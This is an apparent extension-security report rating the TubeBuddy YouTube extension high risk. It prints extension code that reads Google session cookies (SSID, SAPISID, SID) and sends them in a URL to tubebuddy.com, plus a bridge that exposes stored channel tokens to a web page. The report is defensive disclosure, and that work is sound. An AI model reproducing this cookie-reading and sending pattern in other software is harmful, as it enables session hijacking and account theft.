Is TubeBuddy for YouTube™ safe?

High risk

TubeBuddy is high risk. Code analysis shows the extension reads the SSID, SAPISID and SID cookies on YouTube pages and sends them to tubebuddy.com in a GET request URL. Dynamic analysis did not reach this code path.…

TubeBuddyv2271Extension ID mhkhmbddkmdggbhaaaodilponhnccicbChrome Web Store
77Risk
Who publishes it

TubeBuddy, Inc - no other listings under this identity, 8 shared hostnames

Publisher
TubeBuddy
Declared legal entity
TubeBuddy, Inc
Registered address
6775 Cowboys Way STE 1335, Frisco, TX 75034-2343, US
Registered contact
Tubebuddy

Shared hosts - 8 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

cnanney.com
Also called by 1 other listing: Clicky Monitor
developerdan.com
Also called by 1 other listing: Teachinguide Extension
lucaongaro.eu
Also called by 1 other listing: Teachinguide Extension
tubebuddy.com
Also called by 1 other listing: TubeSplit A/B Testing for YouTube Thumbnails
mix.com
Also called by 2 other listings, including MakeTime - increase productivity
strangeplanet.fr
Also called by 4 other listings, including Teachinguide Extension, WorkBoard, وسهام | VaSaham
9to5google.com
Also called by 5 other listings
longdomainname.com
Also called by 5 other listings
AI-assisted analysis.

TubeBuddy findings

TubeBuddy sends Google session cookie values to its own server in a request URL

HighunwantedCWE-522Static analysis

Code analysis shows the extension reads the SSID, SAPISID and SID cookies on YouTube pages and sends them to tubebuddy.com in a GET request URL.

What actually happens

You did this

The user uses a TubeBuddy feature on YouTube Studio.

The extension did this

The extension reads Google session cookies and sends them to tubebuddy.com in a request URL.

The code that does this

ProcessHeader cookie read and request

Readable version

ProcessHeader

tubebuddymaster1.js
const r = TBUtilities.GetCookie("SSID");let a = TBUtilities.GetCookie("SAPISID");const s = TBUtilities.GetCookie("SID");a || (a = TBUtilities.GetCookie("__Secure-3PAPISID")),TBExtension.Get(`${TBGlobal.host}/api/youtubechannel/processstring?v=${r}&f=h&s=${a}&t=${s}&w=${o}`, ...)

Query parameters

  • v
    A1b2C3d4E5f6G7h8i (illustrative)

    The SSID cookie value from the YouTube page.

  • s
    x9Y8z7W6v5U4t3S2/AbCdEfGhIjKlMnOpQ (illustrative)

    The SAPISID cookie, or __Secure-3PAPISID if absent.

  • t
    g.a000abcDeFgHiJkLmNoPqRsTuVwXyZ (illustrative)

    The SID cookie value from the YouTube page.

  • w
    https://studio.youtube.com

    The page origin the request relates to.

Destination

    • www.tubebuddy.com

    Receives the cookie values at /api/youtubechannel/processstring and returns a header string.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

TubeBuddy storage bridge exposes YouTube tokens to its web app

HighunwantedCWE-359Dynamic sandbox

Analysis shows TubeBuddy injects a bridge on www.tubebuddy.com reading Chrome sync storage and dispatching a snapshot to the page.

What actually happens

You did this

You use TubeBuddy's web application with the browser extension installed.

The extension is configured to run its bridge on www.tubebuddy.com and on YouTube pages.

The extension did this

The extension lets the TubeBuddy page request selected extension storage values.

If token keys are present, the same storage area holds per-channel TubeBuddy token values.

Fields the bridge and token writer use

  • YouTube channel ID
    UCAbCdEfGhIjKlMnOpQrStUV (illustrative)

    This ties the stored token to a specific YouTube channel you manage.

  • Chrome storage key
    tubebuddyToken-UCAbCdEfGhIjKlMnOpQrStUV (illustrative)

    This is where the extension saves the channel token before the TubeBuddy page can request extension state.

  • Channel token
    4/0AbUR2VN8qYxL9mQp7R3sT6uVwZaBcDeFgHiJkLmNoPqRsTuVwXyZ (illustrative)

    This value can authorize TubeBuddy-related operations for the associated YouTube channel.

  • Bridge request ID
    labs-request-1720641695123 (illustrative)

    This lets the page match a storage snapshot response to the request it sent.

Captured request

GEThttps://www.tubebuddy.com/signin

Observed during dynamic analysis after navigation to www.tubebuddy.com; no token-bearing POST was captured because the test profile was not signed in.

What's stored on your device

The test browser did not have the signed-in YouTube channel state needed to produce a real token value during the observed run.

Location
chrome.storage.sync during dynamic analysis

The code that does this

The shipped bridge reads extension storage and returns it to the page

Readable version

Readable summary of the storage bridge

TubeBuddyAppToExt.js
const TOKEN_SYNC_EVENT = 'tubebuddySyncTokens';const TOKEN_SYNC_SOURCE = 'tbLabs';const TOKEN_STORAGE_PREFIX = 'tubebuddyToken-';const LABS_STATE_REQUEST_EVENT = 'tbLabsStateRequest';const LABS_STATE_RESPONSE_EVENT = 'tbLabsStateResponse';const LABS_STATE_KEYS = ['appToExtData', 'LifeCycleDeepLinkData'];const STUDIO_HOSTNAME = 'studio.youtube.com';const STUDIO_CHANNEL_STORAGE_KEY = 'activeYouTubeStudioChannel';function getTokenSyncStorage() {  if (typeof browser !== 'undefined' && browser.storage && browser.storage.sync) {    return {      set: (items) => browser.storage.sync.set(items),      remove: (keys) => browser.storage.sync.remove(keys),      get: (keys) => browser.storage.sync.get(keys || null),    };  }  if (typeof chrome !== 'undefined' && chrome.storage && chrome.storage.sync) {    return {      set: (items) => new Promise((resolve, reject) => {        chrome.storage.sync.set(items, () => {          const err = chrome.runtime && chrome.runtime.lastError;          if (err) reject(new Error(err.message));          else resolve();        });      }),      remove: (keys) => new Promise((resolve, reject) => {        chrome.storage.sync.remove(keys, () => {          const err = chrome.runtime && chrome.runtime.lastError;          if (err) reject(new Error(err.message));          else resolve();        });      }),      get: (keys) => new Promise((resolve, reject) => {        chrome.storage.sync.get(keys || null, (items) => {          const err = chrome.runtime && chrome.runtime.lastError;          if (err) reject(new Error(err.message));          else resolve(items || {});        });      }),    };  }  return null;}function isTrustedTokenSyncHost() {  const host = window.location.hostname || '';  return host === 'localhost' || host.endsWith('tubebuddy.com') || host.includes('studio.youtube.com');}

Readable summary of the page-request handler

TubeBuddyAppToExt.js
window.addEventListener(LABS_STATE_REQUEST_EVENT, (event) => {  try {    if (!isTrustedTokenSyncHost()) return;    const detail = event && event.detail;    if (!detail || detail.source !== TOKEN_SYNC_SOURCE) return;    sendLabsStateSnapshot(detail.reason || 'labs-request', detail.requestId, detail.keys, true);  } catch (error) {    window.dispatchEvent(new CustomEvent(LABS_STATE_RESPONSE_EVENT, {      detail: {        source: TOKEN_SYNC_SOURCE,        requestId: event && event.detail ? event.detail.requestId : undefined,        success: false,        error: error && error.message ? error.message : 'Unexpected error retrieving extension state',        studioChannelId: undefined,        channelId: undefined,      },    }));  }}, false);function sendLabsStateSnapshot(reason, requestId, keys, allowNonStudioHost = false) {  try {    if (!isTrustedTokenSyncHost()) return;    if (!allowNonStudioHost && !isStudioHost()) return;    const storage = getTokenSyncStorage();    if (!storage || typeof storage.get !== 'function') return;    const keysToFetch = Array.isArray(keys) && keys.length > 0 ? keys : LABS_STATE_KEYS;    const snapshotRequestId = requestId || `${reason || 'labs'}-${Date.now()}`;    const channelKeys = [STUDIO_CHANNEL_STORAGE_KEY];    storage.get(keysToFetch.concat(channelKeys))      .then((snapshot) => {        const channelFromStorage = snapshot ? snapshot[STUDIO_CHANNEL_STORAGE_KEY] : undefined;        const studioChannelId = typeof channelFromStorage === 'string' ? channelFromStorage.trim() : '';        if (snapshot && STUDIO_CHANNEL_STORAGE_KEY in snapshot) {          delete snapshot[STUDIO_CHANNEL_STORAGE_KEY];        }        const normalizedStudioChannelId = studioChannelId.length > 0 ? studioChannelId : undefined;        window.dispatchEvent(new CustomEvent(LABS_STATE_RESPONSE_EVENT, {          detail: {            source: TOKEN_SYNC_SOURCE,            requestId: snapshotRequestId,            success: true,            data: snapshot || {},            reason,            channelId: normalizedStudioChannelId,            studioChannelId: normalizedStudioChannelId,            keys: keysToFetch,          },        }));      })      .catch((error) => {        window.dispatchEvent(new CustomEvent(LABS_STATE_RESPONSE_EVENT, {          detail: {            source: TOKEN_SYNC_SOURCE,            requestId: snapshotRequestId,            success: false,            error: error && error.message ? error.message : 'Failed to read extension storage',            reason,            channelId: undefined,            studioChannelId: undefined,            keys: keysToFetch,          },        }));      });  } catch (error) {  }}

Readable summary of token storage

TubeBuddyTokenWriter.js
var tokenParam = getUrlParameter('t');var channelParam = getUrlParameter('c');var redirectParam = getUrlParameter('r');if (tokenParam) {    if (tokenParam == 'remove') {        // When debugging with web-ext change sync to local in line below.        chrome.storage.sync.remove("tubebuddyToken-" + channelParam, function () { console.log('token removed'); })    }    else {        var dbSaveObject = {};        dbSaveObject["tubebuddyToken-" + channelParam] = tokenParam;        // When debugging with web-ext change sync to local in line below.        chrome.storage.sync.set(dbSaveObject, function () {            if (redirectParam) {                var url = '';                if (window.location.href.indexOf('studio.youtube.com') >= 0) {                    redirectParam = decodeURIComponent(redirectParam);                    var poundLocation = redirectParam.indexOf('#');                    var fullPath = redirectParam.substring(poundLocation);                                        if (redirectParam.indexOf('cid=') > 0) {                        url = redirectParam.substring(0, poundLocation) + '&tbft=1' + fullPath;                                            } else {                         url = 'https://studio.youtube.com/?tbft=1' + fullPath;                                           }                } else {                    if (redirectParam.indexOf('?') > 0 || redirectParam.indexOf('%3F') > 0 || redirectParam.indexOf('%3f') > 0)                        url = decodeURIComponent(redirectParam) + '&tbft=1';                    else                        url = decodeURIComponent(redirectParam) + '?tbft=1';                }                window.location = url;            }        });    }}

The code that does this

The manifest places the bridge on TubeBuddy and YouTube pages

Readable version
{  "matches": [    "https://www.tubebuddy.com/*",    "https://*.youtube.com/*",    "http://*.youtube.com/*"  ],  "js": [    "js/webextension-polyfill/browser-polyfill.js",    "TubeBuddyAppToExt.js"  ],  "run_at": "document_start",  "all_frames": true}

Destination involved in the bridge

    • www.tubebuddy.com

    TubeBuddy's web application receives the DOM event response from the extension bridge when it requests extension state.

If you have TubeBuddy installed

  1. Open chrome://extensions and turn on Developer mode to show IDs. Find the one with ID mhkhmbddkmdggbhaaaodilponhnccicb and choose Remove.
  2. Scan your browser to check the rest of your extensions.

What TubeBuddy can do

Permissions this extension asks for, as declared in version 2271. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on www.tubebuddy.com

    https://www.tubebuddy.com/*

  • Read and change your data on youtube.com

    https://*.youtube.com/*

  • Read and change your data on google.com

    https://*.google.com/*

  • Read and change your data on twitter.com

    https://*.twitter.com/*

  • Read and change your data on facebook.com

    https://*.facebook.com/*

  • Read and change your data on reddit.com

    https://*.reddit.com/*

  • Store data in your browser

    storage

TubeBuddy version history

  1. 2002

    Mar 4, 2026

  2. +8 more

  3. 2235

    Oct 17, 2026

  4. 2255

    Oct 28, 2026

  5. 2271

    Nov 6, 2026

Where TubeBuddy sends data

  • www.youtube.com/account1 call

    From a script it injects into websites · 41 other extensions

Chrome Web Store listing

Versions
2271 latest of 12 seen since March 4, 2026
Store rating
3.5 from 8,537 ratings
Last updated
November 6, 2026
Size
41.61 MiB
Privacy policy
www.tubebuddy.com
Updated November 20, 2026